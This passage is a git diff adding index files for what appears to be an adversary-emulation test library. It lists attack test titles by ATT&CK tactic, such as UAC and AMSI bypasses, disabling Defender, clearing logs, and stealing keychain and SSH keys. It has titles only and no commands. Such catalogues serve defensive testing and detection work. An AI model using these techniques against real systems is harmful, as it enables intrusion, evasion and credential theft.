execution +- [T1155 AppleScript](./T1155/T1155.md) + - Atomic Test #1: AppleScript [macos] +- [T1059 Command-Line Interface](./T1059/T1059.md) + - Atomic Test #1: Command-Line Interface [macos, linux] +- T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1061 Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1152 Launchctl](./T1152/T1152.md) + - Atomic Test #1: Launchctl [macos] +- [T1168 Local Job Scheduling](./T1168/T1168.md) + - Atomic Test #1: Cron - Replace crontab with referenced file [macos, linux] + - Atomic Test #2: Cron - Add script to cron folder [macos, linux] + - Atomic Test #3: Event Monitor Daemon Persistence [macos, linux] +- [T1064 Scripting](./T1064/T1064.md) + - Atomic Test #1: Create and Execute Bash Shell Script [macos, linux] +- [T1153 Source](./T1153/T1153.md) + - Atomic Test #1: Execute Script using Source [macos, linux] + - Atomic Test #2: Execute Script using Source Alias [macos, linux] +- [T1151 Space after Filename](./T1151/T1151.md) + - Atomic Test #1: Space After Filename [macos] +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1154 Trap](./T1154/T1154.md) + - Atomic Test #1: Trap [macos, linux] +- [T1204 User Execution](./T1204/T1204.md) + +# lateral-movement +- [T1155 AppleScript](./T1155/T1155.md) + - Atomic Test #1: AppleScript [macos] +- T1017 Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1210 Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1534 Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1037 Logon Scripts](./T1037/T1037.md) + - Atomic Test #3: Logon Scripts - Mac [macos] +- [T1105 Remote File Copy](./T1105/T1105.md) + - Atomic Test #1: rsync remote file copy (push) [linux, macos] + - Atomic Test #2: rsync remote file copy (pull) [linux, macos] + - Atomic Test #3: scp remote file copy (push) [linux, macos] + - Atomic Test #4: scp remote file copy (pull) [linux, macos] + - Atomic Test #5: sftp remote file copy (push) [linux, macos] + - Atomic Test #6: sftp remote file copy (pull) [linux, macos] +- T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1184 SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1072 Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# collection +- [T1123 Audio Capture](./T1123/T1123.md) +- [T1119 Automated Collection](./T1119/T1119.md) +- [T1115 Clipboard Data](./T1115/T1115.md) +- [T1074 Data Staged](./T1074/T1074.md) + - Atomic Test #2: Stage data from Discovery.sh [linux, macos] +- T1213 Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1005 Data from Local System](./T1005/T1005.md) + - Atomic Test #1: Search macOS Safari Cookies [macos] +- T1039 Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1025 Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1056 Input Capture](./T1056/T1056.md) +- [T1113 Screen Capture](./T1113/T1113.md) + - Atomic Test #1: Screencapture [macos] + - Atomic Test #2: Screencapture (silent) [macos] +- T1125 Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# exfiltration +- T1020 Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1002 Data Compressed](./T1002/T1002.md) + - Atomic Test #3: Data Compressed - nix - zip [linux, macos] + - Atomic Test #4: Data Compressed - nix - gzip Single File [linux, macos] + - Atomic Test #5: Data Compressed - nix - tar Folder or File [linux, macos] +- [T1022 Data Encrypted](./T1022/T1022.md) + - Atomic Test #1: Data Encrypted with zip and gpg symmetric [macos, linux] +- [T1030 Data Transfer Size Limits](./T1030/T1030.md) + - Atomic Test #1: Data Transfer Size Limits [macos, linux] +- [T1048 Exfiltration Over Alternative Protocol](./T1048/T1048.md) + - Atomic Test #1: Exfiltration Over Alternative Protocol - SSH [macos, linux] + - Atomic Test #2: Exfiltration Over Alternative Protocol - SSH [macos, linux] + - Atomic Test #3: Exfiltration Over Alternative Protocol - HTTP [macos, linux] +- T1041 Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1011 Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1052 Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1029 Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# credential-access +- [T1139 Bash History](./T1139/T1139.md) + - Atomic Test #1: Search Through Bash History [linux, macos] +- [T1110 Brute Force](./T1110/T1110.md) +- [T1003 Credential Dumping](./T1003/T1003.md) +- T1503 Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1081 Credentials in Files](./T1081/T1081.md) + - Atomic Test #1: Extract Browser and System credentials with LaZagne [macos] + - Atomic Test #2: Extract passwords with grep [macos, linux] +- T1212 Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1056 Input Capture](./T1056/T1056.md) +- [T1141 Input Prompt](./T1141/T1141.md) + - Atomic Test #1: AppleScript - Prompt User for Password [macos] +- [T1142 Keychain](./T1142/T1142.md) + - Atomic Test #1: Keychain [macos] +- [T1040 Network Sniffing](./T1040/T1040.md) + - Atomic Test #2: Packet Capture macOS [macos] +- [T1145 Private Keys](./T1145/T1145.md) + - Atomic Test #2: Discover Private SSH Keys [macos, linux] + - Atomic Test #4: Copy Private SSH Keys with rsync [macos, linux] +- T1167 Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1539 Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1111 Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# defense-evasion +- [T1009 Binary Padding](./T1009/T1009.md) + - Atomic Test #1: Pad Binary to Change Hash - Linux/macOS dd [macos, linux] +- [T1146 Clear Command History](./T1146/T1146.md) + - Atomic Test #1: Clear Bash history (rm) [linux, macos] + - Atomic Test #2: Clear Bash history (echo) [linux, macos] + - Atomic Test #3: Clear Bash history (cat dev/null) [linux, macos] + - Atomic Test #4: Clear Bash history (ln dev/null) [linux, macos] + - Atomic Test #6: Clear history of a bunch of shells [linux, macos] +- T1116 Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1500 Compile After Delivery](./T1500/T1500.md) +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #1: Connection Proxy [macos, linux] +- [T1089 Disabling Security Tools](./T1089/T1089.md) + - Atomic Test #5: Disable Carbon Black Response [macos] + - Atomic Test #6: Disable LittleSnitch [macos] + - Atomic Test #7: Disable OpenDNS Umbrella [macos] +- T1480 Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1107 File Deletion](./T1107/T1107.md) + - Atomic Test #1: Delete a single file - Linux/macOS [linux, macos] + - Atomic Test #2: Delete an entire folder - Linux/macOS [linux, macos] + - Atomic Test #14: Delete TeamViewer Log Files [windows, macos] +- [T1222 File and Directory Permissions Modification](./T1222/T1222.md) + - Atomic Test #8: chmod - Change file or folder mode (numeric mode) [macos, linux] + - Atomic Test #9: chmod - Change file or folder mode (symbolic mode) [macos, linux] + - Atomic Test #10: chmod - Change file or folder mode (numeric mode) recursively [macos, linux] + - Atomic Test #11: chmod - Change file or folder mode (symbolic mode) recursively [macos, linux] + - Atomic Test #12: chown - Change file or folder ownership and group [macos, linux] + - Atomic Test #13: chown - Change file or folder ownership and group recursively [macos, linux] + - Atomic Test #14: chown - Change file or folder mode ownership only [macos, linux] + - Atomic Test #15: chown - Change file or folder ownership recursively [macos, linux] + - Atomic Test #16: chattr - Remove immutable file attribute [macos, linux] +- [T1144 Gatekeeper Bypass](./T1144/T1144.md) + - Atomic Test #1: Gatekeeper Bypass [macos] +- [T1148 HISTCONTROL](./T1148/T1148.md) + - Atomic Test #1: Disable history collection [linux, macos] + - Atomic Test #2: Mac HISTCONTROL [macos, linux] +- [T1158 Hidden Files and Directories](./T1158/T1158.md) + - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] + - Atomic Test #2: Mac Hidden file [macos] + - Atomic Test #5: Hidden files [macos] + - Atomic Test #6: Hide a Directory [macos] + - Atomic Test #7: Show all hidden files [macos] +- [T1147 Hidden Users](./T1147/T1147.md) + - Atomic Test #1: Hidden Users [macos] +- [T1143 Hidden Window](./T1143/T1143.md) +- T1066 Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1070 Indicator Removal on Host](./T1070/T1070.md) + - Atomic Test #3: rm -rf [macos, linux] +- [T1130 Install Root Certificate](./T1130/T1130.md) +- T1149 LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1152 Launchctl](./T1152/T1152.md) + - Atomic Test #1: Launchctl [macos] +- [T1036 Masquerading](./T1036/T1036.md) +- [T1027 Obfuscated Files or Information](./T1027/T1027.md) + - Atomic Test #1: Decode base64 Data into Script [macos, linux] +- [T1150 Plist Modification](./T1150/T1150.md) + - Atomic Test #1: Plist Modification [macos] +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1055 Process Injection](./T1055/T1055.md) +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1014 Rootkit](./T1014/T1014.md) +- [T1064 Scripting](./T1064/T1064.md) + - Atomic Test #1: Create and Execute Bash Shell Script [macos, linux] +- T1045 Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1151 Space after Filename](./T1151/T1151.md) + - Atomic Test #1: Space After Filename [macos] +- [T1099 Timestomp](./T1099/T1099.md) + - Atomic Test #1: Set a file's access timestamp [linux, macos] + - Atomic Test #2: Set a file's modification timestamp [linux, macos] + - Atomic Test #3: Set a file's creation timestamp [linux, macos] + - Atomic Test #4: Modify file timestamps using reference file [linux, macos] +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1102 Web Service](./T1102/T1102.md) + +# command-and-control +- T1043 Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1092 Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #1: Connection Proxy [macos, linux] +- T1094 Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1024 Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1132 Data Encoding](./T1132/T1132.md) + - Atomic Test #1: Base64 Encoded data. [macos, linux] +- T1001 Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1172 Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1483 Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1008 Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1104 Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1188 Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1026 Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1079 Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1219 Remote Access Tools](./T1219/T1219.md) +- [T1105 Remote File Copy](./T1105/T1105.md) + - Atomic Test #1: rsync remote file copy (push) [linux, macos] + - Atomic Test #2: rsync remote file copy (pull) [linux, macos] + - Atomic Test #3: scp remote file copy (push) [linux, macos] + - Atomic Test #4: scp remote file copy (pull) [linux, macos] + - Atomic Test #5: sftp remote file copy (push) [linux, macos] + - Atomic Test #6: sftp remote file copy (pull) [linux, macos] +- [T1071 Standard Application Layer Protocol](./T1071/T1071.md) + - Atomic Test #3: Malicious User Agents - Nix [linux, macos] +- [T1032 Standard Cryptographic Protocol](./T1032/T1032.md) +- [T1095 Standard Non-Application Layer Protocol](./T1095/T1095.md) +- [T1065 Uncommonly Used Port](./T1065/T1065.md) + - Atomic Test #2: Testing usage of uncommonly used port [linux, macos] +- [T1102 Web Service](./T1102/T1102.md) + +# initial-access +- T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1193 Spearphishing Attachment](./T1193/T1193.md) +- T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1199 Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) + +# privilege-escalation +- T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1514 Elevated Execution with Prompt [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1519 Emond](./T1519/T1519.md) + - Atomic Test #1: Persistance with Event Monitor - emond [macos] +- T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1160 Launch Daemon](./T1160/T1160.md) + - Atomic Test #1: Launch Daemon [macos] +- [T1150 Plist Modification](./T1150/T1150.md) + - Atomic Test #1: Plist Modification [macos] +- [T1055 Process Injection](./T1055/T1055.md) +- [T1166 Setuid and Setgid](./T1166/T1166.md) + - Atomic Test #1: Make and modify binary from C source [macos, linux] + - Atomic Test #2: Set a SetUID flag on file [macos, linux] + - Atomic Test #3: Set a SetGID flag on file [macos, linux] +- [T1165 Startup Items](./T1165/T1165.md) + - Atomic Test #1: add file to Local Library StartupItems [macos] +- [T1169 Sudo](./T1169/T1169.md) + - Atomic Test #1: Sudo usage [macos, linux] +- [T1206 Sudo Caching](./T1206/T1206.md) + - Atomic Test #1: Unlimited sudo cache timeout [macos, linux] + - Atomic Test #2: Disable tty_tickets for sudo caching [macos, linux] +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1100 Web Shell](./T1100/T1100.md) + diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md new file mode 100644 index 00000000..b31ad7c8 --- /dev/null +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -0,0 +1,765 @@ +# Windows Atomic Tests by ATT&CK Tactic & Technique +# defense-evasion +- T1134 Access Token Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1197 BITS Jobs](./T1197/T1197.md) + - Atomic Test #1: Bitsadmin Download (cmd) [windows] + - Atomic Test #2: Bitsadmin Download (PowerShell) [windows] + - Atomic Test #3: Persist, Download, & Execute [windows] +- [T1009 Binary Padding](./T1009/T1009.md) +- [T1088 Bypass User Account Control](./T1088/T1088.md) + - Atomic Test #1: Bypass UAC using Event Viewer (cmd) [windows] + - Atomic Test #2: Bypass UAC using Event Viewer (PowerShell) [windows] + - Atomic Test #3: Bypass UAC using Fodhelper [windows] + - Atomic Test #4: Bypass UAC using Fodhelper - PowerShell [windows] + - Atomic Test #5: Bypass UAC using ComputerDefaults (PowerShell) [windows] + - Atomic Test #6: Bypass UAC by Mocking Trusted Directories [windows] +- [T1191 CMSTP](./T1191/T1191.md) + - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] + - Atomic Test #2: CMSTP Executing UAC Bypass [windows] +- T1116 Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1500 Compile After Delivery](./T1500/T1500.md) + - Atomic Test #1: Compile After Delivery using csc.exe [windows] +- [T1223 Compiled HTML File](./T1223/T1223.md) + - Atomic Test #1: Compiled HTML Help Local Payload [windows] + - Atomic Test #2: Compiled HTML Help Remote Payload [windows] +- T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1122 Component Object Model Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1090 Connection Proxy](./T1090/T1090.md) + - Atomic Test #2: portproxy reg key [windows] +- [T1196 Control Panel Items](./T1196/T1196.md) + - Atomic Test #1: Control Panel Items [windows] +- [T1207 DCShadow](./T1207/T1207.md) + - Atomic Test #1: DCShadow - Mimikatz [windows] +- [T1038 DLL Search Order Hijacking](./T1038/T1038.md) + - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] +- [T1073 DLL Side-Loading](./T1073/T1073.md) + - Atomic Test #1: DLL Side-Loading using the Notepad++ GUP.exe binary [windows] +- [T1140 Deobfuscate/Decode Files or Information](./T1140/T1140.md) + - Atomic Test #1: Deobfuscate/Decode Files Or Information [windows] + - Atomic Test #2: Certutil Rename and Decode [windows] +- [T1089 Disabling Security Tools](./T1089/T1089.md) + - Atomic Test #8: Unload Sysmon Filter Driver [windows] + - Atomic Test #9: Disable Windows IIS HTTP Logging [windows] + - Atomic Test #10: Uninstall Sysmon [windows] + - Atomic Test #11: AMSI Bypass - AMSI InitFailed [windows] + - Atomic Test #12: AMSI Bypass - Remove AMSI Provider Reg Key [windows] + - Atomic Test #13: Disable Arbitrary Security Windows Service [windows] + - Atomic Test #14: Disable PowerShell Script Block Logging [windows] + - Atomic Test #15: PowerShell Bypass of AntiMalware Scripting Interface [windows] + - Atomic Test #16: Tamper with Windows Defender ATP PowerShell [windows] + - Atomic Test #17: Tamper with Windows Defender Command Prompt [windows] + - Atomic Test #18: Tamper with Windows Defender Registry [windows] + - Atomic Test #19: Disable Microft Office Security Features [windows] + - Atomic Test #20: Remove Windows Defender Definition Files [windows] +- T1480 Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1107 File Deletion](./T1107/T1107.md) + - Atomic Test #4: Delete a single file - Windows cmd [windows] + - Atomic Test #5: Delete an entire folder - Windows cmd [windows] + - Atomic Test #6: Delete a single file - Windows PowerShell [windows] + - Atomic Test #7: Delete an entire folder - Windows PowerShell [windows] + - Atomic Test #8: Delete VSS - vssadmin [windows] + - Atomic Test #9: Delete VSS - wmic [windows] + - Atomic Test #10: bcdedit [windows] + - Atomic Test #11: wbadmin [windows] + - Atomic Test #13: Delete-PrefetchFile [windows] + - Atomic Test #14: Delete TeamViewer Log Files [windows, macos] +- T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1222 File and Directory Permissions Modification](./T1222/T1222.md) + - Atomic Test #1: Take ownership using takeown utility [windows] + - Atomic Test #2: Take ownership recursively using takeown utility [windows] + - Atomic Test #3: cacls - Grant permission to specified user or group [windows] + - Atomic Test #4: cacls - Grant permission to specified user or group recursively [windows] + - Atomic Test #5: icacls - Grant permission to specified user or group [windows] + - Atomic Test #6: icacls - Grant permission to specified user or group recursively [windows] + - Atomic Test #7: attrib - Remove read-only attribute [windows] +- T1484 Group Policy Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1158 Hidden Files and Directories](./T1158/T1158.md) + - Atomic Test #3: Create Windows System File with Attrib [windows] + - Atomic Test #4: Create Windows Hidden File with Attrib [windows] + - Atomic Test #8: Create ADS command prompt [windows] + - Atomic Test #9: Create ADS PowerShell [windows] +- [T1143 Hidden Window](./T1143/T1143.md) + - Atomic Test #1: Hidden Window [windows] +- [T1183 Image File Execution Options Injection](./T1183/T1183.md) + - Atomic Test #1: IFEO Add Debugger [windows] + - Atomic Test #2: IFEO Global Flags [windows] +- T1054 Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1066 Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1070 Indicator Removal on Host](./T1070/T1070.md) + - Atomic Test #1: Clear Logs [windows] + - Atomic Test #2: FSUtil [windows] + - Atomic Test #6: Delete System Logs Using PowerShell [windows] + - Atomic Test #7: Delete System Logs Using Clear-EventLogId [windows] +- [T1202 Indirect Command Execution](./T1202/T1202.md) + - Atomic Test #1: Indirect Command Execution - pcalua.exe [windows] + - Atomic Test #2: Indirect Command Execution - forfiles.exe [windows] +- [T1130 Install Root Certificate](./T1130/T1130.md) +- [T1118 InstallUtil](./T1118/T1118.md) + - Atomic Test #1: CheckIfInstallable method call [windows] + - Atomic Test #2: InstallHelper method call [windows] + - Atomic Test #3: InstallUtil class constructor method call [windows] + - Atomic Test #4: InstallUtil Install method call [windows] + - Atomic Test #5: InstallUtil Uninstall method call - /U variant [windows] + - Atomic Test #6: InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant [windows] + - Atomic Test #7: InstallUtil HelpText method call [windows] + - Atomic Test #8: InstallUtil evasive invocation [windows] +- [T1036 Masquerading](./T1036/T1036.md) + - Atomic Test #1: Masquerading as Windows LSASS process [windows] + - Atomic Test #3: Masquerading - cscript.exe running as notepad.exe [windows] + - Atomic Test #4: Masquerading - wscript.exe running as svchost.exe [windows] + - Atomic Test #5: Masquerading - powershell.exe running as taskhostw.exe [windows] + - Atomic Test #6: Masquerading - non-windows exe running as windows exe [windows] + - Atomic Test #7: Masquerading - windows exe running as different windows exe [windows] + - Atomic Test #8: Malicious process Masquerading as LSM.exe [windows] +- [T1112 Modify Registry](./T1112/T1112.md) + - Atomic Test #1: Modify Registry of Current User Profile - cmd [windows] + - Atomic Test #2: Modify Registry of Local Machine - cmd [windows] + - Atomic Test #3: Modify Registry of Another User Profile [windows] + - Atomic Test #4: Modify registry to store logon credentials [windows] + - Atomic Test #5: Modify registry to store PowerShell code [windows] + - Atomic Test #6: Add domain to Trusted sites Zone [windows] + - Atomic Test #7: Javascript in registry [windows] +- [T1170 Mshta](./T1170/T1170.md) + - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] + - Atomic Test #2: Mshta calls a local VBScript file to launch notepad.exe [windows] + - Atomic Test #3: Mshta executes VBScript to execute malicious command [windows] + - Atomic Test #4: Mshta Executes Remote HTML Application (HTA) [windows] +- [T1096 NTFS File Attributes](./T1096/T1096.md) + - Atomic Test #1: Alternate Data Streams (ADS) [windows] + - Atomic Test #2: Store file in Alternate Data Stream (ADS) [windows] +- [T1126 Network Share Connection Removal](./T1126/T1126.md) + - Atomic Test #1: Add Network Share [windows] + - Atomic Test #2: Remove Network Share [windows] + - Atomic Test #3: Remove Network Share PowerShell [windows] +- [T1027 Obfuscated Files or Information](./T1027/T1027.md) + - Atomic Test #2: Execute base64-encoded PowerShell [windows] + - Atomic Test #3: Execute base64-encoded PowerShell from Windows Registry [windows] +- [T1502 Parent PID Spoofing](./T1502/T1502.md) + - Atomic Test #1: Parent PID Spoofing using PowerShell [windows] +- T1186 Process Doppelgänging [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1093 Process Hollowing](./T1093/T1093.md) + - Atomic Test #1: Process Hollowing using PowerShell [windows] +- [T1055 Process Injection](./T1055/T1055.md) + - Atomic Test #1: Process Injection via mavinject.exe [windows] + - Atomic Test #4: Process Injection via C# [windows] + - Atomic Test #5: svchost writing a file to a UNC path [windows] +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1121 Regsvcs/Regasm](./T1121/T1121.md) + - Atomic Test #1: Regasm Uninstall Method Call Test [windows] + - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] +- [T1117 Regsvr32](./T1117/T1117.md) + - Atomic Test #1: Regsvr32 local COM scriptlet execution [windows] + - Atomic Test #2: Regsvr32 remote COM scriptlet execution [windows] + - Atomic Test #3: Regsvr32 local DLL execution [windows] +- [T1014 Rootkit](./T1014/T1014.md) + - Atomic Test #3: Windows Signed Driver Rootkit Test [windows] +- [T1085 Rundll32](./T1085/T1085.md) + - Atomic Test #1: Rundll32 execute JavaScript Remote Payload With GetObject [windows] + - Atomic Test #2: Rundll32 execute VBscript command [windows] + - Atomic Test #3: Rundll32 advpack.dll Execution [windows] + - Atomic Test #4: Rundll32 ieadvpack.dll Execution [windows] + - Atomic Test #5: Rundll32 syssetup.dll Execution [windows] + - Atomic Test #6: Rundll32 setupapi.dll Execution [windows] +- T1198 SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1064 Scripting](./T1064/T1064.md) + - Atomic Test #2: Create and Execute Batch Script [windows] +- [T1218 Signed Binary Proxy Execution](./T1218/T1218.md) + - Atomic Test #1: mavinject - Inject DLL into running process [windows] + - Atomic Test #2: SyncAppvPublishingServer - Execute arbitrary PowerShell code [windows] + - Atomic Test #3: Register-CimProvider - Execute evil dll [windows] + - Atomic Test #4: Msiexec.exe - Execute Local MSI file [windows] + - Atomic Test #5: Msiexec.exe - Execute Remote MSI file [windows] + - Atomic Test #6: Msiexec.exe - Execute Arbitrary DLL [windows] + - Atomic Test #7: Odbcconf.exe - Execute Arbitrary DLL [windows] + - Atomic Test #8: InfDefaultInstall.exe .inf Execution [windows] +- [T1216 Signed Script Proxy Execution](./T1216/T1216.md) + - Atomic Test #1: PubPrn.vbs Signed Script Bypass [windows] + - Atomic Test #2: SyncAppvPublishingServer Signed Script PowerShell Command Execution [windows] + - Atomic Test #3: manage-bde.wsf Signed Script Command Execution [windows] +- T1045 Software Packing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1221 Template Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1099 Timestomp](./T1099/T1099.md) + - Atomic Test #5: Windows - Modify file creation timestamp with PowerShell [windows] + - Atomic Test #6: Windows - Modify file last modified timestamp with PowerShell [windows] + - Atomic Test #7: Windows - Modify file last access timestamp with PowerShell [windows] +- [T1127 Trusted Developer Utilities](./T1127/T1127.md) + - Atomic Test #1: MSBuild Bypass Using Inline Tasks [windows] +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1102 Web Service](./T1102/T1102.md) + - Atomic Test #1: Reach out to C2 Pointer URLs via command_prompt [windows] + - Atomic Test #2: Reach out to C2 Pointer URLs via powershell [windows] +- [T1220 XSL Script Processing](./T1220/T1220.md) + - Atomic Test #1: MSXSL Bypass using local files [windows] + - Atomic Test #2: MSXSL Bypass using remote files [windows] + - Atomic Test #3: WMIC bypass using local XSL file [windows] + - Atomic Test #4: WMIC bypass using remote XSL file [windows] + +# privilege-escalation +- T1134 Access Token Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1015 Accessibility Features](./T1015/T1015.md) + - Atomic Test #1: Attaches Command Prompt as a Debugger to a List of Target Processes [windows] +- T1182 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1103 AppInit DLLs](./T1103/T1103.md) + - Atomic Test #1: Install AppInit Shim [windows] +- [T1138 Application Shimming](./T1138/T1138.md) + - Atomic Test #1: Application Shim Installation [windows] + - Atomic Test #2: New shim database files created in the default shim database directory [windows] + - Atomic Test #3: Registry key creation and/or modification events for SDB [windows] +- [T1088 Bypass User Account Control](./T1088/T1088.md) + - Atomic Test #1: Bypass UAC using Event Viewer (cmd) [windows] + - Atomic Test #2: Bypass UAC using Event Viewer (PowerShell) [windows] + - Atomic Test #3: Bypass UAC using Fodhelper [windows] + - Atomic Test #4: Bypass UAC using Fodhelper - PowerShell [windows] + - Atomic Test #5: Bypass UAC using ComputerDefaults (PowerShell) [windows] + - Atomic Test #6: Bypass UAC by Mocking Trusted Directories [windows] +- [T1038 DLL Search Order Hijacking](./T1038/T1038.md) + - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] +- T1068 Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1044 File System Permissions Weakness](./T1044/T1044.md) + - Atomic Test #1: File System Permissions Weakness [windows] +- [T1179 Hooking](./T1179/T1179.md) + - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] +- [T1183 Image File Execution Options Injection](./T1183/T1183.md) + - Atomic Test #1: IFEO Add Debugger [windows] + - Atomic Test #2: IFEO Global Flags [windows] +- [T1050 New Service](./T1050/T1050.md) + - Atomic Test #1: Service Installation [windows] + - Atomic Test #2: Service Installation PowerShell [windows] +- [T1502 Parent PID Spoofing](./T1502/T1502.md) + - Atomic Test #1: Parent PID Spoofing using PowerShell [windows] +- T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1504 PowerShell Profile](./T1504/T1504.md) + - Atomic Test #1: Append malicious start-process cmdlet [windows] +- [T1055 Process Injection](./T1055/T1055.md) + - Atomic Test #1: Process Injection via mavinject.exe [windows] + - Atomic Test #4: Process Injection via C# [windows] + - 